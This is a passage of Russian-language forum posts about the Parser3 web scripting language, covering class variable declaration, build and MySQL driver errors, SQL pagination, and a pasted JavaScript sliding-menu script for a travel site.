\
@ls[directory][list]\
$result[\
	$.files[^table::create{name}]\
	$.directories[^table::create{name}]\
]\
^if($directory eq \"/\"){$list[^file:list[/.]]}{$list[^file:list[$directory]]}\
^list.menu{\
^if(-f \"${directory}$list.name\" && $list.name ne \"index.phtml\"){^result.files.append{${directory}$list.name}}\
^if(-d \"${directory}$list.name\"){^result.directories.append{${directory}$list.name}}\
}\
\
\
@A[url]\
<A HREF=\"$url\">^if($url ne \"/\"){^file:basename[$url]}{/}</A>[/code]"
"48080","О, сейчас заработало.\
А когда я смотрел, не работало, ошибки выдавало."
"48081","Брр... че-то непонятки...\
А явного способа декларировать \"приватное\" поле получается нет?"
"48082","Я тоже уже напоролся на это дело. Когда придумывал как делать модули для своего двигателя сайтов. Вот чего нету в Парсере, того нету."
"48084","переменные, декларируемые в конструкторе - переменными объекта.\
\
метод @auto[] вызывается один раз, при загрузке класса и там инициализируются переменные класса.\
\
переменные класса едины для всех объектов класса. переменные объекта класса у каждого объекта различны.\
\
если вам очень хочется задекларировать переменные объекта, то можете создать метод (например @declare[]) в котором объявить их и вызывать этот метод из конструктора (но не из метода @auto[])"
"48085","Что-то я не понял :/ Зачем делать метод декларирования переменных объекта, если можно их задекларировать в конструкторе?"
"48086","можно конечно. только:\
1. конструкторов может быть несколько\
2. лучше держать декларирование переменных в одном месте"
"48087","Возмите зтой коди посмотрите. пользовател может попасть во всякий каталог веб-пространства."
"48089","Нужен человек-разработчик в Москве. Естественно на Парсере.\
Задача в общем: \
1. Разработать сайт с определенной тематикой.\
2. Это словарь терминов, плюс статьи, плюс новостная лента и обратная связь.\
3. Просто сайт (не нужно замороченых фишек).\
Вобщем проект не коммерческий.\
С меня \"небольшая плата\" и ваши хотелки на данном сайте.\
Оплата на поддержку сайта естественно с меня.\
\
Детально все мылу: maskilinx@yandex.ru"
"48090","Если да, то почему мой сайт ещё там не размещен. Письмо уже было отправлено.\
\
Если нет, то почему и по каким критериям вы судите и выбираете сайты."
"48092","если ПАРСЕР установлен, то версия не назаборе написана, а выдётся согласно выполнению скрипта.\
Читай ФАК"
"48093","Это написано на каждом сайте, где есть инфа по XML.\
Но, при запрсе в URL пишется [b]http://.../index.html[/b], а не [b]index.xml[/b]\
\
Откуда HTML знает, что там есть какой-то XML, как они связанны между собой???"
"48095","Это как?\
два файла с одинаковым именем в одной директории?\
Какя разница две копии или одна?\
Факт, парсер установлен, а вот сам сайт на чём заскриптован, это не известно."
"48096","А почему именно на Парсере?\
В данный момент разрабатываю точно такое же программное обеспечение (словарь терминов с возможностью использования статей) под ASP.NET."
"48097","Парсер можно положить и в другое место. И в настройках сервера соответственно указать. У меня, к примеру, cgi-bin/parser/parser3.cgi."
"48101","[code]\
@main[]\
^test{dsf $str[1]}\
\
\
\
@test[src]\
^if($src is junction){\
	<p>junction</p>\
}{\
	<p>noooo</p>\
}[/code]\
\
Выдает noooo. А в документации написано: [quote]\"Значение типа junction появляется в переменной при передачи кода параметром[/quote]"
"48104","пытаюсь сам создать очень простой скроллер так новичок в парсере\
у меня такие вопросы \
я получил число записей из базы на основе них оператором for создал  номера ссылок а как сделать так чтобы на 1-ой странице находились например первые две новости на второй 3 и 4 и так далее???"
"48106","Собираю 3.2.0. система freebsd.\
\
configure: error: please specify path to libgc: --with-shared-gc OR --with-static-gc\
\
Libg скачал и установил. Установщик сказал что поставил его в /usr/lib\
\
пробовал говорить --with-static-gc=/usr/lib/\
и --with-shared-gc=/usr/lib/\
\
но ошибка все та же:\
configure: error: please specify path to libgc: --with-shared-gc OR --with-static-gc"
"48109","Не уверен, но может быть из --with-shared-gc=/usr/lib/ убрать последний слэш?"
"48111","^table::sql{select ...... limit $form:from,$form:to}"
"48112","Предлагаю образовать некоторую коммьюнити фанатов Парсера в Киеве.\
Отзывайтесь сюда, на мыло: zbit@ukr.net или в аську: 23206809"
"48114","ну конечно! Поставил же и проверил!!"
"48117","У меня в одном классе несколько конструкторов, по разному задающих поля, а чтобы не запутаться в локальных полях хочется их как-то декларировать. Описал пока их в комментариях, раз парсеру декларации не нужны."
"48118","Пишешь select * from table limit 5,10\
\
Из мануала:\
\
13.1.7 SELECT Syntax\
\
SELECT\
    [ALL | DISTINCT | DISTINCTROW ]\
      [HIGH_PRIORITY]\
      [STRAIGHT_JOIN]\
      [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]\
      [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]\
    select_expr, ...\
    [INTO OUTFILE 'file_name' export_options\
      | INTO DUMPFILE 'file_name']\
    [FROM table_references\
      [WHERE where_definition]\
      [GROUP BY {col_name | expr | position}\
        [ASC | DESC], ... [WITH ROLLUP]]\
      [HAVING where_definition]\
      [ORDER BY {col_name | expr | position}\
        [ASC | DESC] , ...]\
      [LIMIT {[offset,] row_count | row_count OFFSET offset}]\
      [PROCEDURE procedure_name(argument_list)]\
      [FOR UPDATE | LOCK IN SHARE MODE]]"
"48119","ясное дело, что to имеется ввиду from+кол-во строк."
"48120","а еще имел ввиду то, что работая с парсером не стОит вообще писать limit в запросах. \
\
P.S. хотя на вкус и цвет. если вам при переходе на другой sql сервер нравится переписывать код - пишите на здоровье."
"48121","[code]select * from table limit 5,10[/code]\
\
это означает достать 10 записей начиная с пятой. но [b]не[/b]: достать записи с пятой по десятую, как можно предположить из вашего $fotm:from, $form:to."
"48122","в противном случае в случае, когда вы будете создавать дочерний класс у вас может появится проблема с видимостью переменных.\
\
например:\
[code]\
@CLASS\
parent\
\
@create[]\
# я не деклалирую переменную, а просто описываю в комментарии: \
# да будет у меня переменная $a\
...\
\
# метод производит запись в переменную $a\
@set[var]\
$a($var)\
\
# метод что-то делает с переменной $a\
@print[]\
=$a=\
[/code]\
\
\
дочерний класс:\
[code]\
@CLASS\
child\
\
@BASE\
parent\
\
@create[]\
^BASE:create[]\
\
\
# в ребенке перекрыли метод, записывающий в $a\
@set[var]\
$a($var+1)\
[/code]\
\
\
пытаемся использовать:\
[code]\
$obj1[^parent::create[]]\
^obj1.set(1)\
^obj1.print[]\
\
$obj2[^child::create[]]\
^obj2.set(1)\
^obj2.print[]\
[/code]\
\
код выведет =1= ==\
в случае, если переменную объявить в parent.p/@declare[], и добавить в конструктор вызов ^declare[] - подобного не произойдет и выведется =1= =2="
"48123","Разве что на пиво проблематично пригласить кого то."
"48128","там обычно ясно видно, что не сложилось."
"48129","не думаю, правда, что они тут в форуме есть :)"
"48130","[Mon Dec 19 13:53:04 2005] [16509] /index.html: /home/****/public_html/lib//sql.p(76:2): './lib/libparser3mysql.so' driver failed to initialize client library 'libmysqlclient.so', libmysqlclient.so: cannot open shared object file: No such file or directory []\
\
Как пофиксить?"
"48132","Меню с раскрыващимися подпунктами без перезагрузки страницы без js вроде как и не создать. Посему работающий скрипт меню стал переносить под парсер. И сначала ничего вообще не заработало. Потом, поискав здесь на форуме, засунул коды скрипта в @menu[] и вызвал их как ^taint[as-is][^menu[]]. Меню появилось, но не там где надо (переменные расположения меню игнорировались чтоли) и с задержкой (т.е. первые три-пять секунд на экране на одном месте каша из названий разделов, потом меню распрыгивается как надо с фонами). [url=\"http://bjs.stsland.ru/java/navigation/na2/index.htm\"]Это пример использованного скрипта[/url]\
Кто-нибудь сталкивался с подобными проблемами?"
"48133","или там нет такого файла а есть libmysqlclient.so.10.0.0.0\
или сделайте ссылку с нужным именем, или в авто.п напишире имя реального файла"
"48134","но все сайты просматриваются.\
\
жестких критериев не существует, однако сайт должен быть сделан на парсере [проверяю], сайт должен отобразиться в моем броузере, на сайте не должно быть кучи незаполненых (или under conctruction) страниц, на сайте не должно быть откровенных дыр (как то открытый доступ к /auto.p, .htaccess) [проверяю]\
\
ну и в общем это должен быть сайт, а не пара страниц, на которых размещено несколько иконок и \"[url=\"http://vesna.yandex.ru/\"]весенних[/url]\" текстов."
"48135","Я правильно его прописал а он не хочет работать!"
"48136","У меня на  freebsd 5.3 была такая же проблема.\
Админ пытался мне помоч, но у нас ничего не вышло.\
\
Поискал по форуму и выяснилось, что нужно пересобирать парсер."
"48137","В том то и дело что линуха!"
"48138","В Конкваер открывает нормально всё на своих местах и работает, каши нет никакой\
В фаерфокс-е тоже всё работаетза исключением, както не проавильно сложен рисунок кнопки, кусочек левой стороны оказывается справо.\
Да и несколько тяжеловата загрузка, вес странички с единственным меню 16.45 Кб, многовато. Лучше показали-б сам код."
"48140","ПОМОГИТЕ ПЛИЗ С САБЖЕМ!"
"48141","Нашли но он категорически отказываеться подключаться!!!\
Три файла наши libmysqlclient.so libmysqlclient.so.12\
libmysqlclient.so.12.0.0\
Например /usr/lib64/libmysqlclient.so\
Пишет нет фала или директории"
"48142","парсер четко сказал, что нетак, ваш libparser3mysql.so не находит libmysqlclient.so \
путь прописывается только в одном месте в авто.п \
ещё раз внимательно проверьте пути и наличие самого libmysqlclient.so, именно в таком виде\
вчера у себя решал точно такую проблемму\
1. правилпу конвжный авто.п строка 16\
2. у меня в наличии по этому пути libmysqlclient.so.10.0.0 в авто.п так и написал\
теперь всё работает"
"48143","#change your client libraries paths to \
those on your system\
$SQL[\
	$.drivers[^table::set{protocol	driver	client\
mysql	$sqldriversdir/libparser3mysql.so	 /usr/lib64/libmysqlclient.so\
}]\
]"
"48144","попробуйте /usr/lib64/libmysqlclient.so.12.0.0"
"48145","прошу прощения. привожу все коды и ссылки.\
\
Код из auto.p:\
\
\
[code]\
...\
\
@main[] \
^header[]\
^body[] \
\
@menu1[]\
<!-- HEAD START HERE -->\
<script language=\"JavaScript\" type=\"text/javascript\">\
/**********************************************************************************   \
SlideMenu \
*   Copyright (C) 2001 Thomas Brattli\
*   This script was released at WOscripts.com\
*   Visit for more great scripts!\
*   This may be used and changed freely as long as this msg is intact!\
*   We will also appreciate any links you could give us.\
*********************************************************************************/\
\
function lib_bwcheck(){ //Browsercheck (needed)\
	this.ver=navigator.appVersion\
	this.agent=navigator.userAgent\
	this.dom=document.getElementById?1:0\
	this.opera5=this.agent.indexOf(\"Opera 5\")>-1\
	this.ie5=(this.ver.indexOf(\"MSIE 5\")>-1 && this.dom && !this.opera5)?1:0; \
	this.ie6=(this.ver.indexOf(\"MSIE 6\")>-1 && this.dom && !this.opera5)?1:0;\
	this.ie4=(document.all && !this.dom && !this.opera5)?1:0;\
	this.ie=this.ie4||this.ie5||this.ie6\
	this.mac=this.agent.indexOf(\"Mac\")>-1\
	this.ns6=(this.dom && parseInt(this.ver) >= 5) ?1:0; \
	this.ns4=(document.layers && !this.dom)?1:0;\
	this.bw=(this.ie6 || this.ie5 || this.ie4 || this.ns4 || this.ns6 || this.opera5)\
	return this\
}\
var bw=new lib_bwcheck()\
\
\
//Opera didn't seem to like the padding in the layers, it messes up the background-images, so here's a version without it.\
if(bw.opera5) document.write(\"<style>DIV.clSlide{padding:0px; background-image:url(' ')}\\nDIV.clSlideSub{padding:0px; background-image:url(' ')}\\nDIV.clSlideSub2{padding:0px; background-image:url(' ')}</style>\")\
\
/************************************************************************************\
Making cross-browser objects\
************************************************************************************/\
function makeMenuObj(obj,nest){\
	nest=(!nest) ? \"\":'document.'+nest+'.'										\
   	this.css=bw.dom? document.getElementById(obj).style:bw.ie4?document.all[obj].style:bw.ns4?eval(nest+\"document.layers.\" +obj):0;		\
	this.el=bw.dom?document.getElementById(obj):bw.ie4?document.all[obj]:bw.ns4?eval(nest+'document.'+obj):0;	\
	this.ref=bw.dom || bw.ie4? document:bw.ns4?eval(nest+\"document.layers.\" +obj+\".document\"):0;		\
	this.x=(bw.ns4 || bw.ns5)? this.css.left:this.css.offsetLeft;\
	this.y=(bw.ns4 || bw.ns5)? this.css.top:this.css.offsetTop;		\
	this.hideIt=b_hideIt; this.showIt=b_showIt; this.movey=b_movey\
	this.moveIt=b_moveIt; this.moveBy=b_moveBy; this.status=0; \
	this.bgImg=b_bgImg;	this.obj = obj + \"Object\"; eval(this.obj + \"=this\"); \
	this.clipTo=b_clipTo;\
	return this\
}\
function b_showIt(){this.css.visibility=\"visible\"; this.status=1}\
function b_hideIt(){this.css.visibility=\"hidden\"; this.status=0}\
function b_movey(y){this.y=y; this.css.top=this.y}	\
function b_moveIt(x,y){this.x=x; this.y=y; this.css.left=this.x;this.css.top=this.y}\
function b_moveBy(x,y){this.x=this.x+x; this.y=this.y+y; this.css.left=this.x;this.css.top=this.y}\
function b_bgImg(img){if(bw.ie||bw.dom)this.css.backgroundImage=\"url('\"+img+\"')\"\
else this.css.background.src=img\
}\
function b_clipTo(t,r,b,l,w){if(bw.ns4){this.css.clip.top=t;this.css.clip.right=r\
this.css.clip.bottom=b;this.css.clip.left=l\
}else{this.css.clip=\"rect(\"+t+\",\"+r+\",\"+b+\",\"+l+\")\"; if(w){this.css.width=r; this.css.height=b}}}\
/********************************************************************************\
Initiating page, making objects..\
********************************************************************************/\
function SlideMenuInit(){\
	oSlideMenu=new makeMenuObj('divSlideCont')\
	oSlideMenu.moveIt(menux,menuy)\
	oSlide=new Array()\
	for(i=0;i<menus.length;i++){\
		oSlide[i]=new makeMenuObj('divSlide'+i,'divSlideCont')\
		oSlide[i].subs=menus[i].subs\
		oSlide[i].sub=new Array()\
		oSlide[i].moveIt(0,mainheight*i)\
		oSlide[i].starty=oSlide[i].y\
    if(bw.opera) oSlide[i].css.paddingLeft=\"10px\"\
		if(!menus[i].seperator) oSlide[i].bgImg(level0_regular)\
		for(j=0;j<oSlide[i].subs;j++){\
			oSlide[i].sub[j]=new makeMenuObj('divSlideSub'+i+\"_\"+j,'divSlideCont')\
			oSlide[i].sub[j].moveIt(10,oSlide[i].y+subheight*j+between)\
			oSlide[i].sub[j].starty=oSlide[i].sub[j].y\
			oSlide[i][j]=new Array()\
			oSlide[i][j].subs=menus[i][j].subs\
			oSlide[i][j].sub=new Array()\
			img=level1_round\
			if(oSlide[i][j].subs!=0){\
				if(j!=oSlide[i].subs-1) img=level1_sub\
				else img=level1_sub_round\
				oSlide[i].sub[j].css.color=\"white\"\
			}else{\
				if(j!=oSlide[i].subs-1)img=level1_regular\
			}\
			oSlide[i].sub[j].origimg=img\
			oSlide[i].sub[j].bgImg(img)\
			for(a=0;a<oSlide[i][j].subs;a++){\
				oSlide[i][j].sub[a]=new makeMenuObj('divSlideSub'+i+\"_\"+j+\"_\"+a,'divSlideCont')\
				oSlide[i][j].sub[a].moveIt(20,oSlide[i].sub[j].y+subheight*a+between-2)\
				oSlide[i][j].sub[a].starty=oSlide[i][j].sub[a].y			\
				oSlide[i][j][a]=new Array()\
				oSlide[i][j][a].subs=menus[i][j][a].subs\
				oSlide[i][j][a].sub=new Array()\
				if(a!=oSlide[i][j].subs-1) img=level2_regular\
				else img=level2_round\
				oSlide[i][j].sub[a].origimg=img\
				oSlide[i][j].sub[a].bgImg(img)\
			}\
		}\
	}\
	oSlideMenu.showIt()\
}\
/********************************************************************************\
Variables\
********************************************************************************/\
var active=-1;var going;var isthere; var sactive=-1; var sisthere=-1; var s2active=-1; var s2isthere=-1\
/********************************************************************************\
Switch menu function.\
********************************************************************************/\
function swmenu(num,snum,s2num){\
	if(snum!=-1){\
		if(oSlide[num][snum].subs==0) return\
	}\
	if(s2num!=-1){\
		if(oSlide[num][snum][s2num].subs==0) return\
	}\
	if((num!=active || snum!=sactive || s2num!=s2active) && !going){going=true;isthere=0;sisthere=0;moveUp(num,snum,s2num)}\
}\
/********************************************************************************\
Moving the menus upward to their original position.\
********************************************************************************/\
function moveUp(num,snum){\
	if(snum==-1){\
		for(i=0;i<oSlide.length;i++){\
			if(oSlide[i].y>oSlide[i].starty+pxspeed && active!=i) oSlide[i].moveBy(0,-pxspeed)\
			else{if(active!=i) oSlide[i].moveIt(oSlide[i].x,oSlide[i].starty); isthere=i}\
		}\
		\
		if(isthere<oSlide.length-1) setTimeout(\"moveUp(\"+num+\",\"+snum+\")\",timspeed)\
		else swmenu2(num,snum)\
	}else{\
		if(num==oSlide.length-1) isthere=num\
	\
		if(sactive!=-1){ //Is out!\
			//Slide subs\
			j=0\
			for(i=sactive+1;i<oSlide[num].sub.length;i++){\
				j++\
				if(oSlide[num].sub[i].y>oSlide[num].sub[i].starty+pxspeed) oSlide[num].sub[i].moveBy(0,-pxspeed)\
				else{oSlide[num].sub[i].moveIt(oSlide[num].sub[i].x,oSlide[num].sub[i].starty); sisthere=i}\
			}\
			//Slide main\
			for(i=num+1;i<oSlide.length;i++){\
				if(oSlide[i].y>oSlide[i].starty + oSlide[num].sub[sactive].y +subheight*j )  oSlide[i].moveBy(0,-pxspeed)\
				else{oSlide[i].moveIt(oSlide[i].x,oSlide[i].starty + oSlide[num].sub[sactive].y +subheight*j ); isthere=i}\
			}\
		}else{ //Slide to the one clicked\
			for(i=num+1;i<oSlide.length;i++){\
				if(oSlide[i].y>oSlide[i].starty + snum*between+between)  oSlide[i].moveBy(0,-pxspeed)\
				else{oSlide[i].moveIt(oSlide[i].x,oSlide[i].starty + snum*between+between); isthere=i}\
			}\
		}\
		if(isthere<oSlide.length-1 || (sactive!=-1 && sisthere<oSlide[num].sub.length-1 && sactive!=oSlide[num].sub.length-1)) setTimeout(\"moveUp(\"+num+\",\"+snum+\")\",timspeed)\
		else swmenu2(num,snum)\
	}\
}\
/********************************************************************************\
Switch menu 2, stuff that happens before the menus are moved down again.\
********************************************************************************/\
function swmenu2(num,snum){\
	isthere=0;\
	sisthere=0;\
	if(active>-1 && snum==-1){\
		//Hiding submenus\
		for(j=0;j<oSlide[active].subs;j++){oSlide[active].sub[j].hideIt()}\
		oSlide[active].bgImg(level0_regular)\
		oSlide[active].moveIt(0,oSlide[active].starty)\
	}\
	if(sactive>-1){\
		//Hiding submenus\
		for(j=0;j<oSlide[active][sactive].sub.length;j++){oSlide[active][sactive].sub[j].hideIt()}\
		oSlide[active].sub[sactive].bgImg(oSlide[active].sub[sactive].origimg)\
		oSlide[active].sub[sactive].moveIt(10,oSlide[active].sub[sactive].starty)\
		//Move back to place\
		for(i=sactive+1;i<oSlide[active].sub.length;i++){\
			oSlide[active].sub[i].moveIt(oSlide[active].sub[i].x,oSlide[active].sub[i].starty)\
		}\
	}\
	active=num\
	//Showing submenus\
	if(snum>-1){\
		sactive=snum\
		for(j=0;j<oSlide[num][snum].sub.length;j++){oSlide[num][snum].sub[j].showIt()}\
		oSlide[num].sub[snum].moveBy(10,3)\
		oSlide[num].sub[snum].bgImg(level1_round2)\
	}else{\
		sactive=-1\
		for(j=0;j<oSlide[active].subs;j++){oSlide[active].sub[j].showIt()}\
		oSlide[num].moveBy(10,3)\
		oSlide[num].bgImg(level0_round)\
	}\
	if(num!=oSlide.length-1) moveDown(num,snum)\
	else{\
		isthere=num\
		moveDown(num,snum)\
	}\
}\
/********************************************************************************\
Moving the menus down\
********************************************************************************/\
function moveDown(num,snum){\
	//if(num==oSlide.length-1) isthere=num\
	for(i=num+1;i<oSlide.length;i++){\
		if(snum==-1){\
			if(oSlide[i].y<(oSlide[num].subs-1)*subheight+oSlide[i].starty+between-pxspeed) oSlide[i].moveBy(0,pxspeed)\
			else{oSlide[i].moveIt(oSlide[i].x,(oSlide[num].subs-1)*subheight+oSlide[i].starty+between); isthere=i}\
		}else{\
			if(oSlide[i].y<(oSlide[num].subs-1)*subheight+oSlide[i].starty+between-pxspeed + (oSlide[num][snum].subs-1)*subheight+between)  oSlide[i].moveBy(0,pxspeed)\
			else{oSlide[i].moveIt(oSlide[i].x,(oSlide[num].subs-1)*subheight+oSlide[i].starty+between  + (oSlide[num][snum].subs-1)*subheight+between); isthere=i}\
		}\
	}\
	if(snum!=-1){\
		for(i=snum+1;i<oSlide[num].sub.length;i++){		\
			if(oSlide[num].sub[i].y<(oSlide[num][snum].subs-1)*subheight+oSlide[num].sub[i].starty+between-pxspeed) oSlide[num].sub[i].moveBy(0,pxspeed)\
			else{oSlide[num].sub[i].moveIt(oSlide[num].sub[i].x,(oSlide[num][snum].subs-1)*subheight+oSlide[num].sub[i].starty+between); sisthere=i}\
		}\
	}\
	if(snum==-1){\
		if(isthere<oSlide.length-1) setTimeout(\"moveDown(\"+num+\",\"+snum+\")\",timspeed)\
		else going=false\
	}else{\
		if(isthere<oSlide.length-1 || (sisthere<oSlide[num].sub.length-1 && snum!=oSlide[num].sub.length-1)) setTimeout(\"moveDown(\"+num+\",\"+snum+\")\",timspeed)\
		else going=false\
	}\
}\
var test=0\
/********************************************************************************\
Functions to write out the layers...\
********************************************************************************/\
menus=new Array(); var a=0; var b=0; var c=0; var d=0\
function makeMenu(type,text,lnk,target,end){\
	str=\"\"; tg=\"\";\
  if(target) tg='target=\"'+target+'\"'\
  if(!lnk) lnk=\"#\"\
  self.status=lnk\
	if(a==0) str='<div id=\"divSlideCont\">\\n'\
	if(type==\"top\"){\
		menus[a]=new Array();\
		if(text==\"seperator\"){\
			str+='\\t<div id=\"divSlide'+a+'\" class=\"clSlide\"></div>\\n'\
			menus[a].seperator=1\
		}else{\
      str+='\\t<div id=\"divSlide'+a+'\" class=\"clSlide\"><a href=\"'+lnk+'\" '+tg+' onclick=\"swmenu('+a+',-1,-1); if(bw.ie || bw.ns6) this.blur(); '\
      if(lnk==\"#\") str+='return false'\
      str+='\" class=\"clSlideLinks\"> '+text+'</a><br></div>\\n'\
		}\
    menus[a].subs=0; a++; b=0\
	}else if(type==\"sub\"){\
		str+='\\t\\t<div id=\"divSlideSub'+(a-1)+'_'+(b)+'\" class=\"clSlideSub\"><a '+tg+' onclick=\"swmenu('+(a-1)+','+b+',-1); if(bw.ie || bw.ns6) this.blur(); '\
    if(lnk==\"#\") str+='return false'\
    str+='\" href=\"'+lnk+'\" class=\"clSlideSubLinks\">  '+text+'</a><br></div>\\n'\
		b++; menus[a-1].subs=b; menus[a-1][b-1]=new Array(); c=0; menus[a-1][b-1].subs=0\
	}else if(type==\"sub2\"){\
		str+='\\t\\t<div id=\"divSlideSub'+(a-1)+'_'+(b-1)+'_'+c+'\" class=\"clSlideSub2\"><a '+tg+' href=\"'+lnk+'\" class=\"clSlideSub2Links\">  '+text+'</a><br></div>\\n'\
		c++; menus[a-1][b-1].subs=c; menus[a-1][b-1][c-1]=new Array(); d=0; menus[a-1][b-1][c-1].subs=0\
	}\
	if(end) str+=\"</div>\"\
	document.write(str)\
}\
function preLoadBackgrounds(){\
  for(i=0;i<arguments.length;i++){\
    this[i]=new Image()\
    this[i].src=arguments[i]\
  }\
  return this\
}\
</script>\
<!-- HEAD END HERE -->\
\
@menu2[]\
<!-- BODY START HERE -->\
<script>\
//Variables to set\
between=59 //The pixel between the menus and the submenus\
mainheight=65 //The height of the mainmenus\
subheight=22 //The height of the submenus\
pxspeed=13 //The pixel speed of the animation\
timspeed=15 //The timer speed of the animation\
menuy=243 //The top placement of the menu.\
menux=14 //The left placement of the menu\
//Images - Play with these\
level0_regular=\"level0_regular3.gif\"\
level0_round=\"level0_regular3.gif\"\
level1_regular=\"level1_regular4.gif\"\
level1_round=\"level1_round4.gif\"\
level1_sub=\"level1_sub.gif\"\
level1_sub_round=\"level1_sub_round.gif\"\
level1_round2=\"level1_round2_4.gif\"\
level2_regular=\"level2_regular.gif\"\
level2_round=\"level2_round.gif\"\
//Leave this line\
preLoadBackgrounds(level0_regular,level0_round,level1_regular,level1_round,level1_sub,level1_sub_round,level1_round2,level2_regular,level2_round)\
//There are 3 different types of menus you can make\
//top = Main menus\
//sub = Sub menus\
//sub2 = SubSub menus\
//You control the look of the menus in the stylesheet\
//makeMenu('TYPE','TEXT','LINK','TARGET', 'END (THE LAST MENU)')\
//Menu 0 \
makeMenu('top','&#207;&#240;&#224;&#231;&#228;&#237;&#232;&#247;&#237;&#251;&#229; &#242;&#243;&#240;&#251;','/celebratory_tours/index.htm')\
//Menu 1\
makeMenu('top','&#202;&#238;&#240;&#239;&#238;&#240;&#224;&#242;&#232;&#226;&#237;&#251;&#236; &#234;&#235;&#232;&#229;&#237;&#242;&#224;&#236;','/corporate_clients.htm')\
//Menu 2    \
makeMenu('top','&#209;&#239;&#229;&#246;&#239;&#240;&#229;&#228;&#235;&#238;&#230;&#229;&#237;&#232;&#255;','/special_offers.htm')\
 //Menu 3\
makeMenu('top','&#206;&#242;&#228;&#251;&#245; &#226; &#208;&#238;&#241;&#241;&#232;&#232;')\
  makeMenu('sub','&#207;&#238;&#228;&#236;&#238;&#241;&#234;&#238;&#226;&#252;&#229;','/russiantours/undermoscow/index.htm')\
  makeMenu('sub','&#209;&#224;&#237;&#224;&#242;&#238;&#240;&#232;&#232;','/russiantours/sanatoriums/index.htm')\
  makeMenu('sub','&#208;&#229;&#247;&#237;&#251;&#229; &#234;&#240;&#243;&#232;&#231;&#251;','/russiantours/river_cruises.htm')\
  makeMenu('sub','&#192;&#235;&#242;&#224;&#233;&#241;&#234;&#232;&#233; &#234;&#240;&#224;&#233;','/russiantours/altay/index.htm')\
  makeMenu('sub','&#202;&#224;&#240;&#229;&#235;&#232;&#255;','/russiantours/karelia.htm')\
  makeMenu('sub','&#202;&#240;&#251;&#236;','/russiantours/krim.htm')\
  makeMenu('sub','&#209;&#238;&#247;&#232;-&#202;&#240;&#224;&#241;&#237;&#238;&#228;.&#234;&#240;&#224;&#233;','/russiantours/krasnodar/index.htm')\
  makeMenu('sub','&#202;&#224;&#226;&#204;&#232;&#237;&#194;&#238;&#228;&#251;','/russiantours/kavminvodi/index.htm')\
  makeMenu('sub','&#193;&#229;&#235;&#227;&#238;&#240;&#238;&#228;','/russiantours/belgorod.htm')\
//Menu 4\
makeMenu('top','&#221;&#234;&#241;&#234;&#243;&#240;&#241;&#232;&#238;&#237;&#237;&#251;&#229; &#242;&#243;&#240;&#251;')\
  makeMenu('sub','&#199;&#238;&#235;&#238;&#242;&#238;&#229; &#234;&#238;&#235;&#252;&#246;&#238;','/excursion_tours/goldenring/index.htm')\
  makeMenu('sub','&#206;&#228;&#237;&#238;&#228;&#237;&#229;&#226;.&#253;&#234;&#241;&#234;&#243;&#240;&#241;&#232;&#232;','/excursion_tours/oneday.htm')\
  makeMenu('sub','&#208;&#229;&#247;&#237;&#251;&#229; &#234;&#240;&#243;&#232;&#231;&#251;','/excursion_tours/river_cruises.htm')\
  makeMenu('sub','&#209;&#224;&#237;&#234;&#242;-&#207;&#229;&#242;&#229;&#240;&#225;&#243;&#240;&#227;','/excursion_tours/saint_petersburg/index.htm')\
//Menu 5  \
makeMenu('top','&#204;&#229;&#230;&#228;&#243;&#237;&#224;&#240;&#238;&#228;&#237;&#251;&#229; &#242;&#243;&#240;&#251;','/worldtours/index.htm')\
//Menu 6\
makeMenu('top','&#207;&#240;&#232;&#225;&#224;&#235;&#242;&#232;&#234;&#224;')\
  makeMenu('sub','&#221;&#241;&#242;&#238;&#237;&#232;&#255;','/baltic/estonia/index.htm')\
  makeMenu('sub','&#203;&#224;&#242;&#226;&#232;&#255;','/baltic/latvia/index.htm')\
  makeMenu('sub','&#203;&#232;&#242;&#226;&#224;','/baltic/lithuania/index.htm')\
//Menu 7\
makeMenu('top','&#202;&#235;&#243;&#225;&#237;&#251;&#233; &#238;&#242;&#228;&#251;&#245;')\
  makeMenu('sub','&#200;&#241;&#239;&#224;&#237;&#232;&#255;(&#236;&#224;&#242;&#229;&#240;&#232;&#234;)','/clubrest/spain/index.htm')\
  makeMenu('sub','&#202;&#224;&#237;&#224;&#240;&#241;&#234;&#232;&#229; &#238;-&#226;&#224;','/clubrest/canary/index.htm')\
  makeMenu('sub','&#210;&#224;&#233;&#235;&#224;&#237;&#228;','/clubrest/thailand/index.htm')\
  makeMenu('sub','&#200;&#237;&#228;&#232;&#255;(&#195;&#206;&#192;)','/clubrest/india/index.htm')\
  makeMenu('sub','&#195;&#240;&#229;&#246;&#232;&#255;(&#238;.&#202;&#240;&#232;&#242;)','/clubrest/greece/index.htm')\
  makeMenu('sub','&#207;&#238;&#240;&#242;&#243;&#227;&#224;&#235;&#232;&#255;','/clubrest/portugal/index.htm')\
//Menu 8  \
makeMenu('top','&#199;&#224;&#227;&#240;&#224;&#237;&#239;&#224;&#241;&#239;&#238;&#240;&#242;&#224;')\
  makeMenu('sub','&#214;&#229;&#237;&#251;','/passports/price.htm')\
  makeMenu('sub','&#196;&#238;&#234;&#243;&#236;&#229;&#237;&#242;&#251;','/passports/documents.htm')\
  makeMenu('sub','&#192;&#237;&#234;&#229;&#242;&#224;','passports/anketa.htm',\"\",1)\
  makeMenu('END')\
//Starting the menu\
onload=SlideMenuInit;\
</script>\
\
<!-- BODY END HERE -->\
\
@header[] \
<html>\
<head>\
<meta http-equiv=\"Content-Language\" content=\"ru\">\
<meta name=\"GENERATOR\" content=\"Microsoft FrontPage 5.0\">\
<meta name=\"ProgId\" content=\"FrontPage.Editor.Document\">\
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\">\
<title>&#210;&#243;&#240;&#232;&#241;&#242;&#232;&#247;&#229;&#241;&#234;&#224;&#255; &#234;&#238;&#236;&#239;&#224;&#237;&#232;&#255; \"&#193;&#253;&#240;&#234;&#235;&#232;&#241;\"</title>\
\
<!-- HEAD START HERE -->\
<style type=\"text/css\"><!--\
DIV.clSlide{position:absolute;  ;z-index:10; left:0; width:171; height:48; clip:rect(0,171,48,0); padding:3px;}\
DIV.clSlideSub{position:absolute; ;z-index:10; padding:2px; clip:rect(0,151,20,0); width:151; height:20; left:12; visibility:hidden}\
DIV.clSlideSub2{position:absolute; ;z-index:10; padding:2px; clip:rect(0,141,20,0); width:141; height:20; left:8; visibility:hidden}\
#divSlideCont{position:absolute; z-index:10; left:0; top:100; height:600; width:170; visibility:hidden}\
A.clSlideLinks{font-family:Arial; font-size:16px; font-weight:bold; text-decoration:none; color:#FEE600}\
A.clSlideSubLinks{font-family:Arial; font-size:16px; text-decoration:none; color:#004000}\
